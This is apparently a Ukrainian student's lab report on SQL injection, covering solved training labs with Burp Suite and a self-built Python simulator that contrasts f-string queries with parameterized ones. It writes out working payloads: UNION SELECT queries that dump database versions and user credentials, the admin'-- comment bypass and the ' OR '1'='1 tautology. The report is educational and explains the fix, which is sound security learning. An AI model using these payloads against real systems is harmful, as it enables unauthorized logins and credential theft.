



# Лабораторна робота 6 Етичний хакінг власного застосу

ПІДГОТУВАВ ГРАНАТЮК О. В.

# Дослідження SQL ін'єкцій на готових платформах

Під час виконання цих лабораторних робіт я на практиці вивчав вразливості типу SQL Injection та опановував інструмент Burp Suite для перехоплення й модифікації HTTP-запитів. На початковому етапі я дослідив, як зміна входних параметрів дозволяє змінювати логіку SQL-запитів до бази даних. Я навчився використовувати логічні оператори для відображення прихованих даних про товари, а також опанував техніку обходу перевірки автентифікації, що дозволило мені увійти в систему під обліковим записом адміністратора без пароля шляхом коментування частини коду перевірки.

|     |                                                                                                       |          |
|-----|-------------------------------------------------------------------------------------------------------|----------|
| LAB | APPRENTICE<br>SQL injection vulnerability in WHERE clause allowing retrieval of hidden data →         | ✓ Solved |
| LAB | APPRENTICE<br>SQL injection vulnerability allowing login bypass →                                     | ✓ Solved |
| LAB | PRACTITIONER<br>SQL injection attack, querying the database type and version on Oracle →              | ✓ Solved |
| LAB | PRACTITIONER<br>SQL injection attack, querying the database type and version on MySQL and Microsoft → | ✓ Solved |
| LAB | PRACTITIONER<br>SQL injection attack, listing the database contents on non-Oracle databases →         | ✓ Solved |

# Дослідження SQL ін'єкцій на готових платформах

Подальші завдання дозволили мені поглибити знання про UNION-ін'єкції та специфіку роботи з різними системами управління базами даних. Я зрозумів важливість попередньої розвідки — визначення кількості стовпців у запиті та типів даних, що повертаються. Також я на практиці побачив синтаксичні відмінності між Oracle, MySQL та Microsoft SQL Server, навчившись ідентифікувати тип та версію бази даних за допомогою спеціальних системних таблиць і змінних, що є критичним етапом для побудови коректного вектора атаки.

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Determine the number of columns that are being returned by the query and which columns contain text data. Verify that the query is returning two columns, both of which contain text, using a payload like the following in the `category` parameter:

```
' + UNION + SELECT + 'abc', 'def' + FROM + dual --
```

3. Use the following payload to display the database version:

```
' + UNION + SELECT + BANNER, + NULL + FROM + v$version --
```

# Дослідження SQL ін'єкцій на готових платформах

У фінальній частині я об'єднав отримані навички для пошуку в базі даних інформації про вхідні дані користувачів. Працюючи зі стандартною схемою `information_schema`, я зміг поетапно отримати імена таблиць, назви стовпців, і зрештою — вивантажити логіни та паролі користувачів. Це дало мені чітке розуміння того, як зловмисники можуть використовувати структурні метадані бази для зламу системи, та чому відсутність належного захисту вхідних даних становить загрозу для веб-додатків.

1. Use Burp Suite to intercept and modify the request that sets the product category filter.
2. Determine the number of columns that are being returned by the query and which columns contain text data. Verify that the query is returning two columns, both of which contain text, using a payload like the following in the `category` parameter:  

```
' + UNION + SELECT + 'abc', 'def' --
```
3. Use the following payload to retrieve the list of tables in the database:  

```
' + UNION + SELECT + table_name, + NULL + FROM + informat
```
4. Find the name of the table containing user credentials.
5. Use the following payload (replacing the table name) to retrieve the details of the columns in the table:  

```
' + UNION + SELECT + column_name, + NULL + FROM + informa
```
6. Find the names of the columns containing usernames and passwords.
7. Use the following payload (replacing the table and column names) to retrieve the usernames and passwords for all users:  

```
' + UNION + SELECT + username_abcdef, + password_abcd
```
8. Find the password for the `administrator` user, and use it to log in.

# Аналіз принципів SQL-ін'єкцій. Тестування на практиці

Приклад уразливого SQL-запиту:

```
SELECT firstname FROM users WHERE username='admin' AND password='admin'
```

Для зламу цього запиту ми використовували модифікацію типу:

```
SELECT firstname FROM users WHERE username='admin'--' AND password='admin'
```

При додаванні до логіну '-- решта перевірки стає коментарем, тому при такому логіні пароль не перевіряється взагалі. Для того щоб такий злам не був можливий необхідно додати плейсхолдери, таким чином '-- буде опрацьовуватись як звичайний текст а не частина команди. Такий запит буде мати наступний вигляд:

```
SELECT firstname FROM users WHERE username = ? AND password = ?
```



# Аналіз принципів SQL-ін'єкцій. Тестування на практиці

```
# Тут ми просто вклеємо текст у запит. Це помилка!  
unsafe_query = f"SELECT * FROM users WHERE username='{input_user}' AND password='{input_pass}'"
```

```
# Використовуємо знаки питання як плейсхолдери  
safe_query = "SELECT * FROM users WHERE username=? AND password=?"
```

```
--- БАЗА ДАНИХ НАЛАШТОВАНА ---  
В базі є користувач: admin з паролем: SuperSecretPass123  
  
Введені дані користувача: admin'--  
Введений пароль (атака): 123  
  
>>> СПРОБА 1: НЕБЕЗПЕЧНИЙ ЗАПИТ (f-string)  
Сформований SQL: SELECT * FROM users WHERE username='admin'--' AND password='123'  
● РЕЗУЛЬТАТ: УСПІХ! Вхід виконано (Атака спрацювала).  
Ми отримали дані: ('admin', 'SuperSecretPass123')  
-----  
  
>>> СПРОБА 2: БЕЗПЕЧНИЙ ЗАПИТ (Placeholders)  
● РЕЗУЛЬТАТ: ВІДМОВА! Вхід заблоковано (Атака не пройшла).
```

```
--- БАЗА ДАНИХ НАЛАШТОВАНА ---  
В базі є користувач: admin з паролем: SuperSecretPass123  
  
Введені дані користувача: admin  
Введений пароль (атака): ' OR '1'='1'  
  
>>> СПРОБА 1: НЕБЕЗПЕЧНИЙ ЗАПИТ (f-string)  
Сформований SQL: SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'  
● РЕЗУЛЬТАТ: УСПІХ! Вхід виконано (Атака спрацювала).  
Ми отримали дані: ('admin', 'SuperSecretPass123')  
-----  
  
>>> СПРОБА 2: БЕЗПЕЧНИЙ ЗАПИТ (Placeholders)  
● РЕЗУЛЬТАТ: ВІДМОВА! Вхід заблоковано (Атака не пройшла).  
База шукала пароль, який буквально виглядає як: ' OR '1'='1'
```

# Технічне завдання

Створена раніше програма задовольняє майже всі вимоги окрім користувацького вводу, тому модифікую її.

```
=====
СИМУЛЯТОР SQL INJECTION (PYTHON)
=====
1. Ввести логін/пароль вручну (Своя атака)
2. Демо: Обхід пароля коментарем (-- )
3. Демо: Логічна ін'єкція (OR 1=1)
4. Показати всіх користувачів в базі
0. Вихід

Оберіть дію: █
```

# Технічне завдання

Оберіть дію: 4

Список користувачів у базі:

```
(1, 'admin', 'admin123', 'Administrator')
(2, 'alice', 'wonderland', 'User')
(3, 'bob', 'builder', 'User')
(4, 'eve', 'evil_hacker', 'Banned')
```

Оберіть дію: 2

--- СЦЕНАРІЙ: Коментування запиту (Comment Injection) ---  
Введені дані -> Логін: admin' -- | Пароль: будь-який\_текст

[LOG] Виконується SQL (Unsafe): SELECT \* FROM users WHERE username='admin' --' AND password='будь-який\_текст'

🔓 ВРАЗЛИВИЙ МЕТОД: УСПІХ! Вхід виконано як: admin (Роль: Administrator)

[LOG] Виконується SQL (Safe): SELECT \* FROM users WHERE username=? AND password=? з параметрами ("admin' --", 'будь-який\_текст')

🔒 БЕЗПЕЧНИЙ МЕТОД: ВІДМОВА. Невірний логін або пароль.

Оберіть дію: 3

--- СЦЕНАРІЙ: Логічна тотожність (Tautology) ---  
Введені дані -> Логін: admin | Пароль: ' OR '1'='1

[LOG] Виконується SQL (Unsafe): SELECT \* FROM users WHERE username='admin' AND password='' OR '1'='1'

🔓 ВРАЗЛИВИЙ МЕТОД: УСПІХ! Вхід виконано як: admin (Роль: Administrator)

[LOG] Виконується SQL (Safe): SELECT \* FROM users WHERE username=? AND password=? з параметрами ('admin', '' OR '1'='1')

🔒 БЕЗПЕЧНИЙ МЕТОД: ВІДМОВА. Невірний логін або пароль.

Оберіть дію: 1

Введіть username: admin'--

Введіть password: asdlkjfa

--- СЦЕНАРІЙ: Ручне введення ---

Введені дані -> Логін: admin'-- | Пароль: asdlkjfa

[LOG] Виконується SQL (Unsafe): SELECT \* FROM users WHERE username='admin'--' AND password='asdlkjfa'

🔓 ВРАЗЛИВИЙ МЕТОД: УСПІХ! Вхід виконано як: admin (Роль: Administrator)

[LOG] Виконується SQL (Safe): SELECT \* FROM users WHERE username=? AND password=? з параметрами ("admin'--", 'asdlkjfa')

🔒 БЕЗПЕЧНИЙ МЕТОД: ВІДМОВА. Невірний логін або пароль.



Висновок: в ході лабораторної роботи я навчився виявляти та усувати уразливості типу SQL-ін'єкція у програмних застосунках через створення та тестування власного вразливого застосунку